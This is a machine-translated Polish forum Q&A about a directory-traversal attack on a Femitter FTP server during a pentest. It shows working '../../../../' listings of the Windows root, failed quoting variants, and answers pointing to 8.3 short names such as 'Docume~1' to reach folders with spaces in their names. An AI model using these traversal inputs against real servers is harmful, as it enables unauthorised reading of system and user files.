Prowadzę usankcjonowany pentest w zamkniętym środowisku odniesienia i zmagam się z pozornie prostą kwestią, której obecnie nie mogę rozwiązać.
Podczas próby wykonania ataku przechodzenia przez katalog na podatny na atak serwer Fermitter FTP działający w systemie MS Windows OS, można wykonać LISTĘ w katalogu głównym systemu (adresy i listy zawartości zmieniono tutaj tylko w celach informacyjnych):
# ftp 192.168.13.22
Connected to 192.168.13.22.
220 Femitter FTP Server ready.
Name (192.168.13.22:root):
331 Password required for root.
Password:
230 User root logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ../../../../
200 Port command successful.
150 Opening data connection for directory list.
-rwxrwxrwx 1 ftp ftp 0 Sep 23 2015 AUTOEXEC.BAT
-rw-rw-rw- 1 ftp ftp 0 Sep 23 2015 CONFIG.SYS
drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 Documents and Settings
dr--r--r-- 1 ftp ftp 0 Sep 23 2015 Program Files
drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 WINDOWS
226 File sent ok
Jednak jeśli chcę wyświetlić zawartość folderu zawierającego białe spacje, takie jak Documents and settings
, nie jestem w stanie wyświetlić zawartości katalogu z powodu ignorowania białych spacji.
ftp> ls ../../../../documents and settings/
usage: ls remote-directory local-file
ftp> ls ../../../../documents\ and\ settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls ../../../../documents%20and%20settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents%20and%20settings not found
226 File sent ok
ftp> ls ../../../../'documents and settings'/
usage: ls remote-directory local-file
ftp> ls ../../../../"documents and settings"/
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls "../../../../documents and settings/"
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
Próbowałem już używać różnych klientów FTP (CLI i GUI, w systemach Linux i Windows) i albo ignorują białe znaki, albo nie zezwalają na przechodzenie do katalogu.
Próbowałem także wykonać skrypt na atak na Python, używając najpierw surowych gniazd, a następnie ftplib, aby wysłać polecenia w formacie HEX bezpośrednio na serwer FTP, ale bez powodzenia.
Googling przez kilka godzin nie dał działającego rozwiązania (tak, było wiele opcji, które nie działały), dlatego jest tu ktoś, kto miał ten sam problem. Jestem całkiem pewien, że nie jest to pierwszy raz, gdy takie przejście do katalogu jest potrzebne z białymi spacjami.
źródło
\
lub zacytować ciąg katalogowyOdpowiedzi:
Rozwiązanie sugerowane przez @Dogeatcatworld do użycia krótkiej notacji katalogu MS Windows, takiej jak
C:\Docume~1\
.Naprawdę dobry artykuł z bazy wiedzy MS Knowledge Base wyjaśnia notację katalogu 8.3: Jak Windows generuje nazwy plików 8.3 z długich nazw plików
źródło
Źródło: Jak znaleźć krótką ścieżkę do katalogu / pliku Windows?
źródło
Ftp nie używa kodowania adresu URL, więc% xx nie będzie działać, chyba że używasz ftp w przeglądarce, która może go przetłumaczyć.
Zamiast tego spróbuj zastosować wokół niego cudzysłowy, np .: ls „../../some dir”
źródło